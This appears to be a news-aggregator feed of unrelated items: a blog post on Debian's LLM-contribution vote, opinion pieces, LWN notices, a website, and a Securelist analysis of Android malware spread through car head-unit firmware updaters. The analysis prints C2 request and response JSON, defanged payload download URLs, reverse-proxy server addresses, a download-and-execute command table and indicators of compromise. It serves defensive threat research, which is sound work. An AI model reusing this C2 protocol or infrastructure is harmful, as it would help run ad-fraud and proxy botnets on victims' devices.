    Third-generation languages are higher-level languages. When the first 3GLs were invented (such as COBOL and, more famously, FORTRAN ) in the late 1950s and early 1960s, it was believed by some that the work of programming a computer so accessible to non-programmers that the job of programmer would eventually cease to exist, and people would just ask the computer what they needed by entering COBOL instructions. This of course was ridiculous and incorrect, because converting algorithms to computer instructions, whether at the 2GL or 3GL level, is a specialized skill that some automation can perhaps make simpler but never completely take away the need for. At the time, some people also felt to some extent that using 3GL wasn't the same thing as actually programming 3GLs , but eventually the world moved on and embraced things. The invention of 3GL environments reduced, but did not completely take away, the need for people to understand 2GLs, as compiler and operating system authors still need to understand them, and some highly optimized code still continues to be written in 2GLs to this day.

    Fourth-generation languages abstract away some or all of the process of programming. For instance, a database-related 4GL will hide away the complexities of storing data in particular locations, how to fetch that data, how to index it such that you can fetch it efficiently, how to loop over the data to get you a summary of that data, and instead allows you to express the required information in an abstract way, expecing the computer to fill in the blanks. When SQL, an early 4GL, was invented, some people believed that the language made accessing databases so simple that the requirement to implement database applications would eventually cease to exist and we would just hand SQL prompts to users who need to access data. This of course was ridiculous and incorrect, because understanding data schemas and using that understanding to query data from a database is a specialized skill that perhaps a higher abstraction can help you make simpler, but that in the longer run it can never completely take away the need for. The invention of 4GLs also reduced, but did not completely take away, the need for people to understand how to do the things that the 4GLs automate for you manually, as the people who do write those things still need to understand them, and there are also environments where these particular 4GLs are rather not appropriate or just very slow.

    The first definition of programming language generations that I read about in the 1980s simply stated that fifth-generation languages did not yet exist, but that they would in the future, and that in those, you would "tell the computer what to do, and it would then do that". Now that we have a way of doing so , it could be said that by some definition, we now actually do have a number of 5GLs. The existence of these LLM systems has caused some, especially the people who build and exploit these systems, to exclaim that programming as we know it today is going to cease to exist, and everyone will just ask an LLM to generate a program, which will then do so. That is of course ridiculous and incorrect, as no automaton can generate software from nothing; input is still required for the model to be able to produce something that approaches usability, and being able to word that input in a correct and productive fashion will be a skill that future programmers can benefit from. I ran some experiments a while back, and from that concluded that, if we look only at the technical side, LLM use can, in some niches, increase productivity for a programmer. There are certainly things that you shouldn't use an LLM for, but equally there can be cases where use of an LLM to perform some task that traditionally would have been done by a programmer would be a net positive.

    But LLMs, as they exist today, are highly problematic.

    They require vast amounts of data to build the model. The companies that build these models are disrespectful of people who run web services, and as a result, everyone now has to implement various types of application firewalls just to not make systems fall over from the overwhelming requests for data. They are also disregarding the licenses that are attached to these vast amounts of data, which makes me, as a person who believes in the tenets of free software, sad.

    They require vast amounts of energy, causing an already-critical global warming crisis to, well, not improve.

    They require vast amounts of coolant to dissipate the energy concentrated in their data centers, causing further environmental effects.

    In this, they are problematic and to be avoided. But these are side states of the current state of affairs; I do not believe that they are inherently implied to be able to build and operate an LLM -- any LLM.

    I guess it's fair to say that my feelings towards LLM usage are complex and many-faceted. I haven't been involved in many debates about the subject, debates that to me seem to be mostly focused on "LLM good" vs "LLM bad" arguments that aren't as nuanced as the position that I would believe is more accurate. This is not because I don't care, but partially because I've been busy in my personal life recently and partially because the whole thing seems somewhat disheartening.

    But then Debian popped up GR 2026-002 , meaning, I now have to come up with an opinion about various candidate statements in the context of the above, which is... not easy. But I did it anyway.

    There are 8 choices on the ballot, and they all have some truth and some falsehood to them. My position about LLMs can be summarized as:

    • The current state of affairs wrt LLMs is disastrous and we should not encourage them
    • However, there's no technical reason why this must remain true for all time
    • And so any statement should keep in mind what might happen in the future and that the current disastrousness of the whole thing isn't guaranteed to continue to exist for all eternity.

    With that, let's go over them.

    GR vote options

    Proposal A

    Its summary, from the GR text:

    This proposal aims to expressly forbid any contributions to Debian written with the use or assistance of large language models (LLMs) or other generative AI tools.

    This falls squarely in the "LLM bad" camp, outlawing all generative-AI contributions, disregarding potential future ones where the problematic situations that exist today are not present.

    It makes a change to the social contract, which is especially difficult to reverse (on purpose), and which therefore also will require a 3:1 supermajority, but if we want to ban LLM-assisted contributions, this is probably the best way to do it.

    Proposal B

    This one tries to allow AI-assisted contributions under certain conditions. It's mostly an "LLM good" proposal, with some caveats that can be discribed as "make sure you know what you're doing".

    Proposal C

    This proposal is both a weaker (in some places) and stronger (in other places) version of Proposal A. It makes changes to the code of conduct instead of to the social contract, and it also wants to, at least, suggest policy to parties beyond the Debian project. By not changing the social contract, however, it is more likely to reach its simple majority requirement than proposal A.

    I don't think the language that it wants to add to the code of conduct is particularly well phrased, however.

    Proposal D

    This is a weaker form of proposal B. The language is more compact and there are a few requirements that are spelled out in proposal B that are not spelled out in proposal D, but if you read between the lines you'll see that the requirement is still there really and I don't understand why proposals B and D were not merged into one.

    Proposal E

    This proposal tries to hold a middle ground between "LLM good" and "LLM bad". It appreciates that things are quite muddled at the present time, and that perhaps the situation might might change in the future. It acknowledges that certain questions remain unanswered and that perhaps future considerations might therefore be different. But it essentially refuses to take a stance on whether LLMs should be accepted by the project or not.

    Proposal F

    Similar to proposal E, this proposal tries to discourage Debian contributors from using LLMs, while still allowing people to use it should they want to, but with some requests and requirements to mark LLM-assisted contributions to account for those people who don't want to interact with LLM-generated software. As such, it is a proposal similar to proposal E that leans closer to the "LLM bad" camp.

    Proposal G

    This proposal aims to ensure that contributions directly to Debian are created by humans, while at the same time avoiding restrictions on the tools those humans may choose to use when contributing

    Another "LLM bad" proposal, it however restricts the "bad" bits to only the direct output of the LLM. If you use an LLM to do something and then clean-room re-implement the same thing yourself, that's apparently fine.

    Proposal H

    This proposal condemns the use of LLM for its environmental and moral problems, but explicitly not for its technical considerations. I feel that it is closest to my position as explained above.

    Voting

    Expressing a vote on a ballot so convoluted and complicated like this one takes time. I have to read and understand every ballot option, and formulate an order of them.

    And I shouldn't just state which option has my preference; Debian's voting process allows a rich expression of opinion on ballot options.

    Anyway, I eventually ended up voting in a way that I think is consistent with my opinion. But it wasn't easy.

    An AI ‘debt bomb’ crisis? No. This isn’t Enron 2.0 | Gene Marks

    Guardian
    www.theguardian.com
    2026-08-23 10:00:34
    Fears of a datacenter buildout debt crisis are exaggerated. The risks are different than in the past and they are recoverable Some experts are warning of a looming “debt bomb” crisis because big datacenter builders such as Meta, Oracle, xAI and CoreWeave are not only raising billions to construct th...
    Original Article

    S ome experts are warning of a looming “debt bomb” crisis because big datacenter builders such as Meta , Oracle , xAI and CoreWeave are not only raising billions to construct these facilities but are also not recognizing these long-term debt obligations on their balance sheets.

    Should we be concerned? No. I know because I’ve seen this movie before.

    It works like this: Meta wants to build a datacenter to accommodate its growing AI and cloud computing needs. It forms a separate entity that’s not consolidated in its financials, which builds the datacenter. To fund this, the entity raises money from investors, banks and other financial firms (including some from Meta) that own the majority of the entity. There is a contract by which Meta has exclusive and full use of the datacenter once built. This way Meta gets its datacenter but most of the debt incurred to build it is not shown as a liability on its books.

    The worry comes from the enormous sums of money being plowed into these entities. The Financial Times reported in December 2025 that tech companies had shifted more than $120bn of AI datacenter spending off their balance sheets through special-purpose vehicles and similar financing structures. Goldman Sachs estimates that hyperscalers could spend $5.3tn on AI and datacenters through 2030 and expects private markets to play an increasingly important role in financing that buildout.

    Skeptics are worried that these tech guys are pulling the wool over the public’s eyes and not properly disclosing the long-term impact of all this debt. They point to Enron , the energy firm that spectacularly failed in 2001, causing tens of billions of dollars of losses to its shareholders and contributing to a historic market meltdown.

    Fine. Scrutinize them. Read the footnotes. Argue about consolidation. But don’t call them Enron. Enron caused the Enron crash. It’s highly unlikely that fraud at that level is being perpetuated now by these companies.

    When I first started out in accounting back in the mid-1980s, my biggest client was a publicly held biotechnology firm called Centocor , which, at the time, was developing drugs using a technology based on monoclonal-antibody treatment for various purposes including sepsis. To raise money, Centocor also did off-balance-sheet financing. The company formed limited partnerships in which it held a minority interest but the entity issued debt and took in investments from limited partners in order to fund the development of various drugs, which Centocor then had the exclusive right to use.

    In the 1980s and early 1990s, hundreds of millions of dollars were plowed into these partnerships. This was common practice in the biotechnology during that time.

    Did some of the drugs fail in clinical testing? Yes. But did this cause a stock market panic? No. Like with today’s datacenters, the risks were spread. During that time – before the Internet, SEC disclosures and 24/7 media scrutiny – the public little knew of these vehicles. The good news is that the accounting has evolved, although the economic idea has stayed the same – no debt was shown on Centocor’s balance sheet. Ultimately, this financing vehicle became more expensive and less popular because it was easier and more affordable to raise money other ways.

    The off-balance-sheet financing strategies today that are being used by big tech firms have different risks than what the biotech companies were doing when I was younger. Today, the disclosures required by companies doing this are significant. The scrutiny is intense. The investing public is smarter. Today’s risks are different and arguably more recoverable.

    In the 90s Centocor, Genentech , Amgen , Biogen and other companies like them were raising millions in partnerships that were developing products with a high probability of failure during clinical testing.

    Today’s investors are financing land, buildings, electrical infrastructure and computing equipment. A datacenter can disappoint financially, but it doesn’t disappear because a clinical trial fails. It’s why Jeff Bezos calls AI an “industrial bubble”. Industrial bubbles leave things behind. Railways. Fiber-optic cable. Factories. And this time, datacenters.

    If this is a glut, it’s a strange one: developers increased North American capacity by 36% last year and vacancy still fell to a record 1.4%. According to CBRE’s North America Data Center Trends H2 2025 report , demand is outpacing supply in nearly every major market. Unlike the drug companies hoping for success, there’s a legitimate market need today for datacenters. AI isn’t going away. Microsoft estimates that only 17.8% of the world’s working-age population currently uses generative AI. If that’s anywhere near correct, we’re still much closer to the beginning of adoption than the end.

    Some of these investments will fail. Some lenders will lose money. Some datacenters will be worth less than their owners paid for them. But that’s exactly why these financing structures exist: to spread enormous capital requirements and risk among investors willing to take it. The obligations are disclosed, the assets are real and demand for computing capacity remains strong. That’s why I’m not losing sleep over big tech’s off-balance-sheet debt. I see financial engineering, yes. I don’t see a debt bomb.

    Death to px, long live ch

    Hacker News
    shkspr.mobi
    2026-08-23 09:56:27
    Comments...
    Original Article

    Pixels are a lie. Even if you think you're drawing something with " pixel perfect " accuracy, your monitor is lying to you. There is no grid of platonically perfect squares.

    In CSS, pixels are a double lie :

    Note that 1px doesn't necessarily equal one physical device pixel. On HD displays, it may span multiple physical pixels. Similarly, 1cm in CSS often doesn't correspond to one hundredth of SI meter. On a large TV screen, it typically is longer than that. The lengths are perceptual: 16px looks roughly the same on a phone, laptop, or TV screen at typical viewing distance.

    This blog is primarily text based. I want the width of the text to be readable for the average human. So, rather than setting the main width to be a percentage of the screen, I set it based on character width using the ch unit - which isn't exactly a character but good enough for my purposes:

     CSS--width-content: min(75ch, 100%);
    
    main {
       max-width: var(--width-content);
    }
    

    When it comes to padding and margins, the same is true. If I want a gap around an element, I want that gap to be in proportion to the text inside it.

    For widths, it makes sense to re-use the ch unit. I want the gap to be in proportion to the text.

    But for height , perhaps it doesn't make sense to express vertical distance on character width? In which case the ex unit can be used . It is the size of a typical lower-case letter.

    Just like my idea to eliminate CSS classes from my HTML , it's possible to go too far with this. I haven't changed every reference from px to ch, I'm just experimenting to see if it works.

    There's nothing wrong, immoral, or evil about using px - or any other measure unit. Using ch and ex fit with my particular proclivities.

    My favorite nonfiction books about cults, scams, and schemes

    Hacker News
    bookdna.com
    2026-08-23 09:51:10
    Comments...

    Sunday's stable kernel set

    Linux Weekly News
    lwn.net
    2026-08-23 09:46:14
    The 7.1.10, 6.18.46, 6.12.105, 6.6.153, 6.1.184, 5.15.217, and 5.10.266 stable kernels have all been released; each contains another set of important fixes....
    Original Article

    Copyright © 2026, Eklektix, Inc.
    Comments and public postings are copyrighted by their creators.
    Linux is a registered trademark of Linus Torvalds

    Mourning Steve French

    Linux Weekly News
    lwn.net
    2026-08-23 09:40:42
    From Jeremy Allison we have the sad news of the passing of Steve French. He was the maintainer of the kernel's SMB filesystem code for many years, having only dropped that role due to health issues in the last week. "I've known Steve for over 20 years. He was a legend in the community, and a reall...
    Original Article

    Copyright © 2026, Eklektix, Inc.
    Comments and public postings are copyrighted by their creators.
    Linux is a registered trademark of Linus Torvalds

    Malware infects Android-based automotive head unit firmware

    Hacker News
    securelist.com
    2026-08-23 09:05:38
    Comments...
    Original Article

    While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

    Key findings:

    • We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
    • The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
    • We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

    Kaspersky solutions detect the threats described below under the following detection names:

    • HEUR:Trojan-Dropper.AndroidOS.Agent.vu
    • HEUR:Trojan-Downloader.AndroidOS.Agent.ov
    • HEUR:Trojan-Proxy.AndroidOS.Zhima.*
    • HEUR:Trojan.AndroidOS.Vo1d.*

    Head unit firmware overview

    A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously .

    In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

    Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

    It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

    During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

    Below is the entire infection chain:

    Head unit infection scheme

    Head unit infection scheme

    Let’s look at exactly how these head units became infected.

    The TWCore app

    TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

    The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

    TWCore only checks whether an app is already installed on the device when installNotExists = false

    TWCore only checks whether an app is already installed on the device when installNotExists = false

    The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

    The path TWCore uses to download APK files

    The path TWCore uses to download APK files

    Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core , which matches the TWCore package name.

    Next, we’ll break down the malware installed by TWCore: the JarService dropper.

    Stage 1: the JarService dropper

    As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

    Decrypting and deserializing information about the stage 2 payload

    Decrypting and deserializing information about the stage 2 payload

    In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

    Stage 2: the loader

    This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

    {

    "userId" : "REDACTED" ,

    "dexVersion" : "1.7" ,

    "dexType" : 1 ,

    "channelId" : "2039" ,

    "packageName" : "com.tw.jar1" ,

    "appVersion" : 12 ,

    "appName" : "JarService"

    }

    In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

    {

    "code" : 200 ,

    "data" : {

    "dexUrl" : "hxxp://144.217.243[.]201/vr34der34/dex3.68.png" ,

    "dexVersion" : 3.680 ,

    "status" : 0

    }

    }

    The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

    Decrypting the stage 3 payload

    Decrypting the stage 3 payload

    In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

    Entry point of the stage 3 payload

    Entry point of the stage 3 payload

    While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

    Stage 3: clicker / reverse proxy loader

    In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

    {

    "code" : 100 ,

    "data" : {

    "configVersion" : 3.820 ,

    "hosts" : [ "hxxp://t2.kshahnd[.]sbs" , "hxxp://t2.mdsjhd[.]sbs" , "hxxp://t2.nmnsny[.]sbs" , "hxxps://t2.nmnsny[.]sbs" ] ,

    "interval" : 5500000 ,

    "reportApi" : "/cpc/api/report" ,

    "tagName" : "config" ,

    "taskApi" : "/cpc/api/task" ,

    "updates" : [ "hxxp://a2.kshahnd[.]sbs" , "hxxp://a2.mdsjhd[.]sbs" , "hxxp://a2.nmnsny[.]sbs" , "hxxps://a2.nmnsny[.]sbs" ] ,

    "vn" : 1.010

    }

    }

    If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId . The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    {

    "code" : 200 ,

    "data" : [ {

    "productId" : 979 ,

    "script" : "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}" ,

    "version" : 1778650942

    } , {

    "productId" : 1019 ,

    "script" : "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}" ,

    "version" : 1766001509

    } , {

    "productId" : 3505 ,

    "script" : "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}" ,

    "version" : 1776656317

    } ] ,

    "msg" : ""

    }

    The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

    List of executable commands

    List of executable commands

    At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

    Command name Description Arguments
    return Return a value from SharedPreferences. key : the key whose value should be returned
    copy Set the contents of the clipboard. text : the key whose value from SharedPreferences is returned as the clipboard contents
    url : a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with (5 spaces) used as a separator
    http Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key. url : the resource address
    method : the HTTP method name (optional)
    startLabel : a marker for the start of the data to save from the resource (optional)
    endLabel : a marker for the end of the data to save from the resource (optional)
    valueLabel : the key under which to save the value (optional)
    header : a dictionary of headers for the HTTP request (optional)
    content : the content of the POST request (optional)
    web Open a link in the WebView and execute arbitrary JavaScript code within it. url : the link to open in the WebView
    js : base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent
    corejs : JavaScript code to execute when the resource loads in the WebView (optional)
    param : a string dictionary of parameters for launching the WebView
    client : if this key is present, WebViewClient is used to handle redirects manually
    time : task timeout
    loadlib Not fully implemented at the time of publishing this report.
    loadlib2 Download and execute arbitrary code. url : the address to download the payload from
    name : the name of the module being downloaded
    md5 : the MD5 hash of the payload
    clear : a comma-separated list of payload names to delete (optional)
    params : an array of parameters to launch the payload with
    className : the class name of the payload entry point
    method : the name of the virtual method at the payload entry point
    cmethod : the name of the static method used to instantiate the entry-point class (optional)
    thread : a flag; the payload runs in a separate thread if this flag is not set
    reload : a flag that, when set, restarts already loaded modules
    loadlib3 Not fully implemented at the time of publishing this report.
    deeplink Open a resource in the browser. url : a link to the resource
    traceroute Check resource availability via an ICMP ping. host : comma-separated list of resources to check

    However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

    While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

    Attribution

    While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader . We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService . In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

    While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58 , one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

    The malware operator registration page

    The malware operator registration page

    During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

    On the registration page hosted at admin.uipoxy[.]com , we also found the string copyright © 2020 proxyforu [ . ] com all rights reserved , which linked to hxxps://proxyforu[.]com , the website of ProxyForU, another vendor of residential proxy services.

    We found several similarities in the authentication APIs across all of these sites:

    • The sign-in page was hosted on an admin.* subdomain.
    • The sign-in page was located at /proxy/u/login .
    • The signup page was located at /proxy/register?channelKey=<invitation code> .

    Based on this, we believe these services are connected to MoYu Group.

    Conclusion

    Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

    Indicators of compromise

    Stage 1: JarService

    ba27951b4ee1c341f4415d033369ecd3
    d63bacd6d6709dd68a10ef9d374c7835
    6c2e34b30da42085240ede53ab6107d4
    8b5e513144a6138a966ea59e68bf9da2
    e119845877089d6f4b0a70dc7388f316

    Stage 2: loader

    e9f3a0dab6949ce2cddab9e0aa80ae1a

    Stage 3: loader/clicker

    0fbaa7092204f4b1494e0b840b014774
    1dcf031c40ce456b6a36a00b0acf3d11
    44b6b213a6a3f299eaf88e078de95ecb
    67dc78e544ebce16b85dc7c195dfbc58
    9642ae619b3165d23c6349002d1abe24
    b067d5b0dbecbd6498bcdfba45dba77e
    f0e3f7eba2cde91e2dedb921bab47422

    zhima module

    412e9243f2981bbea3894254d105b3b8
    71ab5517f71866279d0d87d37f2ae320
    89ef78f716a75964539f2db6520be362
    a4223ce4288a230d1e6c3ff2c7639045
    bd4d81cd27125ad3d9a114922d468499
    c6bfb1643ac7474ed8a7b4f96a187fdb
    de77c3303e93c9450424759f1741441c
    f8cf8c23ff597700d471fb7767df8bac

    Domains and IP addresses

    xmsae[.]sbs
    ishano456[.]sbs
    xshaon123[.]sbs
    kshahnd[.]sbs
    mdsjhd[.]sbs
    nmnsny[.]sbs
    kookjar[.]com
    ty54fgd435[.]my
    ue886578433[.]online
    ty4523[.]space
    144.217.243[.]201
    107.151.248[.]132
    128.14.210[.]58

    Addresses used to download JarService

    hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
    hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
    hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

    Hashes of TWCore (the legitimate software used to distribute JarService)

    2a64c3efc11bf224aa54f24e876446c9
    7a4d3ba2dacccfdda55859a5dfee2671
    ea24487996eb70c1780922fb3063bcc5

    If all car tyres were filled with CO2, would this cut atmospheric carbon significantly?

    Guardian
    www.theguardian.com
    2026-08-23 09:00:33
    The long-running series in which readers answer other readers’ questions probes an intriguing scientific question in relation to the climate emergency Readers reply: Is it inevitable that consumerism will literally fill up the planet? If all the vehicles on the planet had their tyres pumped up with ...
    Original Article

    I f all the vehicles on the planet had their tyres pumped up with CO 2 , would this lock up enough carbon to lower the amount in the air significantly? Would there be other issues, such as the carbon cost of trapping it all into the tyres? Chris Coldwell, Lancaster

    Post your answers (and new questions) below or send them to nq@theguardian.com . A selection will be published next Sunday.

    Hister - A private, full content search index that you control

    Lobsters
    hister.org
    2026-08-23 08:28:24
    I've seen the author @asciimoo reply in the comments here recently, yet the project has never had a dedicated submission. Taking inspiration from the orange cousin, here it is . Comments...
    Original Article

    Self hosted

    Run it on your own machine or server

    Privacy focused

    No telemetry, no external requests

    Preserve Knowledge.
    Find It Again.

    Hister stores extracted document content with the search index and displays it as a readable preview alongside search results.

    Download Hister Try the live demo

    Search the content you chose to index

    Look beyond bookmarks and filenames. Hister indexes the full content of the pages and files you choose, then keeps that searchable knowledge on a server you control.

    Search the actual content

    Look beyond titles and URLs to the words inside every indexed document.

    Narrow with precision

    Use fields, phrases, wildcards, negation, priorities, and your own aliases.

    Read it in context

    Open a clean stored preview beside the results without losing your search.

    Explore the query language

    A private memory without the busywork

    Save newly visited pages with the browser extension, watch local folders, import your history, or crawl a site.

    Hister extracts the parts that matter and indexes their full text on the server you choose.

    Search from the web, terminal, command line, or let an AI assistant retrieve it through MCP.

    Browser extensions can index pages as they are visited. File watchers, history imports, and crawlers add other sources to the same index.

    Preserve Knowledge.
    Keep Control.

    The index, stored page content, and rules remain on the Hister server you configure. The server has no telemetry and does not require a cloud service.

    Read the privacy model

    No telemetry

    The server does not phone home or report what you search.

    No mandatory cloud

    A complete personal setup can run on one local machine.

    Your chosen server

    Clients send indexed content only to the Hister server you configure.

    Auditable software

    The source is public and licensed as free software under AGPLv3.

    Optional semantic search sends text to the embeddings endpoint you configure. Browser extensions may retrieve page favicons. You choose whether and where these connections run.

    One index. Many ways back in.

    Hister indexes visited pages, watched files, imported browser history, and crawled websites. The index is available through web, terminal, CLI, HTTP API, and MCP interfaces.

    Index automatically

    Browser extensions can index visited pages automatically. File watching, history imports, and the crawler add other sources.

    • Browser extensions
    • Local file watching
    • History import
    • Website crawler

    Search precisely

    Full text search supports field filters, quoted phrases, wildcards, negation, date ranges, and query aliases.

    • Field filters
    • Quoted phrases
    • Wildcards and negation
    • Query aliases

    Extract content

